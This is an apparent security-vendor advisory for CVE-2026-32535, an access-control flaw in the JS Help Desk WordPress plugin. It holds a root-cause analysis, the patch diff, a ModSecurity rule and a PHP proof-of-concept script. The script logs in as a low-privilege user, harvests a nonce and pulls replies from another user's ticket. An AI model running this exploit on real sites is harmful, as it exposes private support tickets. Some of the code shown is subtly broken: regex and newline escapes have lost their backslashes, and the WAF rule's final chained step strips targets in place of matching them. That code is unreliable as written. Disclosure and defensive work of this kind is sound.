Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-32535: JS Help Desk – AI-Powered Support & Ticketing System <= 3.0.3 – Authenticated (Subscriber+) Insecure Direct Object Reference (js-support-ticket)

Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 3.0.3
Patched Version 3.0.4
Disclosed March 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32535:
This vulnerability is an Insecure Direct Object Reference (IDOR) in the JS Help Desk WordPress plugin, versions up to and including 3.0.3. The flaw exists in the plugin’s AI reply generation feature, allowing authenticated users with Subscriber-level access or higher to access ticket data they are not authorized to view. The CVSS score of 4.3 reflects a medium-severity access control bypass.

The root cause is insufficient authorization checks in the `getFilteredReplies` AJAX handler located in `/js-support-ticket/modules/reply/model.php`. The vulnerable function, starting at line 510, receives a `ticket_id` parameter from the user. The original code validates the ticket ID’s presence and type but does not verify if the current user has permission to access the specified ticket. The function proceeds to fetch replies based on the user-supplied ID without confirming ownership or appropriate role-based access.

The exploitation method involves an authenticated attacker sending a crafted POST request to the WordPress admin AJAX endpoint. The attacker must set the `action` parameter to `get-filtered-replies` and supply a `ticket_id` parameter for a ticket belonging to another user. A valid WordPress nonce is required, which a Subscriber-level user can obtain from their own session. The payload manipulates the `ticket_id` to reference an unauthorized ticket object, triggering the IDOR.

The patch, applied in version 3.0.4, introduces a multi-layered authorization check within the same function. It first determines if the user is a staff member (agent). If they are staff, it checks for a specific ‘Use AI Powered Reply Feature’ permission. If the user is not staff, the patch verifies they are an Administrator via `current_user_can(‘manage_options’)`. Normal users and guests are denied access. The patch also strengthens input sanitization by using `absint()` on user IDs and `sanitize_text_field()` on the subject.

Successful exploitation allows a lower-privileged authenticated user to read the content of support tickets belonging to other users. This leads to unauthorized disclosure of potentially sensitive information submitted through the help desk system. The impact is a confidentiality breach, violating the expected access controls within the ticketing system.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/js-support-ticket/includes/activation.php
+++ b/js-support-ticket/includes/activation.php
@@ -201,8 +201,8 @@
                     ('tplink_faqs_user', '0', 'tplink', 'faq'),
                     ('show_breadcrumbs', '1', 'default', NULL),
                     ('productcode', 'jsticket', 'default', NULL),
-                    ('versioncode', '3.0.3', 'default', NULL),
-                    ('productversion', '303', 'default', NULL),
+                    ('versioncode', '3.0.4', 'default', NULL),
+                    ('productversion', '304', 'default', NULL),
                     ('producttype', 'free', 'default', NULL),
                     ('tve_enabled', '2', 'default', NULL),
                     ('tve_mailreadtype', '3', 'default', NULL),
--- a/js-support-ticket/js-support-ticket.php
+++ b/js-support-ticket/js-support-ticket.php
@@ -3,14 +3,14 @@
 /**
  * @package JS Help Desk
  * @author Ahmad Bilal
- * @version 3.0.3
+ * @version 3.0.4
  */
 /*
   Plugin Name: JS Help Desk – AI-Powered Support & Ticketing System
   Plugin URI: https://www.jshelpdesk.com
   Description: JS Help Desk is a trusted open source ticket system. JS Help Desk is a simple, easy to use, web-based customer support system. User can create ticket from front-end. JS Help Desk comes packed with lot features than most of the expensive(and complex) support ticket system on market. JS Help Desk provide you best industry help desk system.
   Author: JS Help Desk
-  Version: 3.0.3
+  Version: 3.0.4
   Text Domain: js-support-ticket
   License: GPLv3
   Author URI: https://www.jshelpdesk.com
@@ -67,7 +67,7 @@
         self::$jsst_data = array();
         self::$_search = array();
         self::$_captcha = array();
-        self::$_currentversion = '303';
+        self::$_currentversion = '304';
         self::$_addon_query = array('select'=>'','join'=>'','where'=>'');
         self::$_jshdsession = JSSTincluder::getObjectClass('wphdsession');
         global $wpdb;
@@ -147,7 +147,7 @@
                     // restore colors data end
                     update_option('jsst_currentversion', self::$_currentversion);
                     include_once JSST_PLUGIN_PATH . 'includes/updates/updates.php';
-                    JSSTupdates::checkUpdates('303');
+                    JSSTupdates::checkUpdates('304');
                     JSSTincluder::getJSModel('jssupportticket')->updateColorFile();
                     JSSTincluder::getJSModel('jssupportticket')->jsst_check_license_status();
                     JSSTincluder::getJSModel('jssupportticket')->JSSTAddonsAutoUpdate();
--- a/js-support-ticket/modules/jssupportticket/controller.php
+++ b/js-support-ticket/modules/jssupportticket/controller.php
@@ -22,7 +22,7 @@
                 case 'controlpanel':
                     JSSTincluder::getJSModel('jssupportticket')->getControlPanelData();
                     include_once JSST_PLUGIN_PATH . 'includes/updates/updates.php';
-                    JSSTupdates::checkUpdates('303');
+                    JSSTupdates::checkUpdates('304');
                     JSSTincluder::getJSModel('jssupportticket')->updateColorFile();
                     //JSSTincluder::getJSModel('jssupportticket')->getStaffControlPanelData();
                     break;
--- a/js-support-ticket/modules/reply/model.php
+++ b/js-support-ticket/modules/reply/model.php
@@ -510,18 +510,39 @@
         // Verify nonce
         check_ajax_referer('get-filtered-replies', '_wpnonce');

-        $jsst_ticket_id = intval(JSSTrequest::getVar('ticket_id'));
+        // Secure the ID (Stops SQL Injection)
+        $jsst_ticket_id = JSSTrequest::getVar('ticket_id', null, 0, 'int');

         if (!$jsst_ticket_id) {
             wp_send_json_error(['message' => __('Ticket ID is required.', 'js-support-ticket')]);
         }

+        // 1. Check if the user is a Agent
+        $is_staff = (in_array('agent', jssupportticket::$_active_addons) && JSSTincluder::getJSModel('agent')->isUserStaff());
+
+        // 2. If they are staff, check if they LACK the specific AI permission
+        if ($is_staff) {
+            $has_ai_permission = JSSTincluder::getJSModel('userpermissions')->checkPermissionGrantedForTask('Use AI Powered Reply Feature');
+            if (!$has_ai_permission) { // Note the "!" (NOT)
+                wp_send_json_error(['message' => __('You do not have permission to use AI features.', 'js-support-ticket')]);
+            }
+        }
+        // 3. If they are NOT staff, check if they are an Administrator
+        else if (!current_user_can('manage_options')) {
+            // If they aren't staff and aren't an admin, they are a normal user or guest
+            wp_send_json_error(['message' => __('Access denied.', 'js-support-ticket')]);
+        }
+
+        // If it reaches here, the user is either:
+        // - Staff WITH AI permissions
+        // - An Administrator
+
         $jsst_uids = $this->get_allowed_support_user_ids();
         if (empty($jsst_uids)) {
             wp_send_json_success(['replies' => [], 'count' => 0]);
         }

-        $jsst_uids_str = implode(',', array_map('intval', $jsst_uids)); // Ensure integers
+        $jsst_uids_str = implode(',', array_map('absint', $jsst_uids)); // Ensure integers

         $jsst_query = "
         SELECT r.*
--- a/js-support-ticket/modules/ticket/model.php
+++ b/js-support-ticket/modules/ticket/model.php
@@ -3015,14 +3015,15 @@
             die('Security check Failed');
         }

-        $jsst_id = JSSTrequest::getVar('ticketId');
-        $jsst_subject = JSSTrequest::getVar('ticketSubject');
+        // Explicitly cast to integer to kill SQL Injection payloads
+        $jsst_id = absint(JSSTrequest::getVar('ticketId'));
+        $jsst_subject = sanitize_text_field(JSSTrequest::getVar('ticketSubject'));

         $jsst_agentquery = "";
         if (in_array('agent', jssupportticket::$_active_addons) && JSSTincluder::getJSModel('agent')->isUserStaff()) {
             $jsst_allowed = JSSTincluder::getJSModel('userpermissions')->checkPermissionGrantedForTask('Limit AI Replies to Agent-Assigned Tickets');
             if ($jsst_allowed) {
-                $jsst_staffid = JSSTincluder::getJSModel('agent')->getStaffId(JSSTincluder::getObjectClass('user')->uid());
+                $jsst_staffid = absint(JSSTincluder::getJSModel('agent')->getStaffId(JSSTincluder::getObjectClass('user')->uid()));
                 $jsst_agentquery = " AND (t.staffid = " . esc_sql($jsst_staffid) . " OR t.departmentid IN (
                     SELECT dept.departmentid
                     FROM `" . jssupportticket::$_db->prefix . "js_ticket_acl_user_access_departments` AS dept
@@ -3038,6 +3039,9 @@
             FROM `" . jssupportticket::$_db->prefix . "js_ticket_tickets` AS ticket
             WHERE ticket.id = " . esc_sql($jsst_id);
         $jsst_ticket_data = jssupportticket::$_db->get_row($jsst_query);
+
+        if (!$jsst_ticket_data) return json_encode([]);
+
         $jsst_message = wp_strip_all_tags($jsst_ticket_data->message);

         // Break the subject and message into words for partial matching

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32535
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:100032535,phase:2,deny,status:403,chain,msg:'CVE-2026-32535 via JS Help Desk AJAX - Unauthorized Ticket Access',severity:'CRITICAL',tag:'CVE-2026-32535',tag:'WordPress',tag:'Plugin-JS-Help-Desk'"
  SecRule ARGS_POST:action "@streq get-filtered-replies" "chain"
    SecRule &ARGS_POST:_wpnonce "!@eq 0" "chain"
      SecRule &ARGS_POST:ticket_id "!@eq 0" "chain"
        SecRule REQUEST_COOKIES:/^wordpress_logged_in_/ "@rx ^([^|]+|){2}" 
          "ctl:ruleRemoveTargetById=100032535;ARGS_POST:_wpnonce,ctl:ruleRemoveTargetById=100032535;ARGS_POST:ticket_id"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32535 - JS Help Desk – AI-Powered Support & Ticketing System <= 3.0.3 - Authenticated (Subscriber+) Insecure Direct Object Reference

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'subscriber_user';
$password = 'subscriber_password';
$target_ticket_id = 123; // ID of a ticket the subscriber does NOT own

// Step 1: Authenticate to WordPress and obtain session cookies and a nonce.
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

// Step 2: Extract a valid nonce from a page accessible to the subscriber.
// The nonce for 'get-filtered-replies' is often embedded in page scripts.
// This example assumes we can fetch the front-end ticket list to find a nonce.
$ticket_list_url = $target_url . '/support-tickets/';
curl_setopt($ch, CURLOPT_URL, $ticket_list_url);
curl_setopt($ch, CURLOPT_POST, 0);
$page_content = curl_exec($ch);

// A simple regex to find a nonce; in a real scenario, parsing would be more robust.
preg_match('/"nonce"s*:s*"([a-f0-9]+)"/', $page_content, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';

if (empty($nonce)) {
    die('Could not extract a valid nonce. The user may not have access to the ticket list page.');
}

// Step 3: Exploit the IDOR by requesting replies for an unauthorized ticket ID.
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => 'get-filtered-replies',
    'ticket_id' => $target_ticket_id,
    '_wpnonce' => $nonce
)));

$ajax_response = curl_exec($ch);
curl_close($ch);

// Step 4: Output the response.
echo "Response from AJAX endpoint:n";
print_r(json_decode($ajax_response, true));

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School